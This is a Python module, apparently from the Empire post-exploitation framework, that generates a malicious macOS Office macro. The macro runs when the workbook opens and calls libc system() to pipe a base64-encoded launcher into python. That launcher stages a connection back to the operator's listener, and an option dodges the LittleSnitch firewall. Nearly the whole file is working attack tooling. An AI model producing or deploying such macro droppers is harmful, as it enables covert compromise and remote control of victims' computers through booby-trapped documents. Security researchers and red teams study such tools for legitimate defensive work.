Files
2016-04-11 21:47:40 -04:00

99 lines
3.4 KiB
Python

from lib.common import helpers
import re
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'AppleScript',
'Author': ['@harmj0y'],
'Description': ('An OSX office macro.'),
'Comments': [
"http://stackoverflow.com/questions/6136798/vba-shell-function-in-office-2011-for-mac"
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'OutFile' : {
'Description' : 'File to output AppleScript to, otherwise displayed on the screen.',
'Required' : False,
'Value' : ''
},
'LittleSnitch' : {
'Description' : 'Switch. Check for the LittleSnitch process, exit the staging process if it is running. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def formStr(varstr, instr):
holder = []
str1 = ''
str2 = ''
str1 = varstr + ' = "' + instr[:54] + '"'
for i in xrange(54, len(instr), 48):
holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48])
str2 = '"\r\n'.join(holder)
str2 = str2 + "\""
str1 = str1 + "\r\n"+str2
return str1
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
LittleSnitch = self.options['LittleSnitch']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, littlesnitch=LittleSnitch)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
launcher = launcher.replace("\"", "\"\"")
for match in re.findall(r"'(.*?)'", launcher, re.DOTALL):
payload = formStr("cmd", match)
macro = """
Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Private Sub Workbook_Open()
Dim result As Long
Dim cmd As String
%s
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
End Sub
""" %(payload)
return macro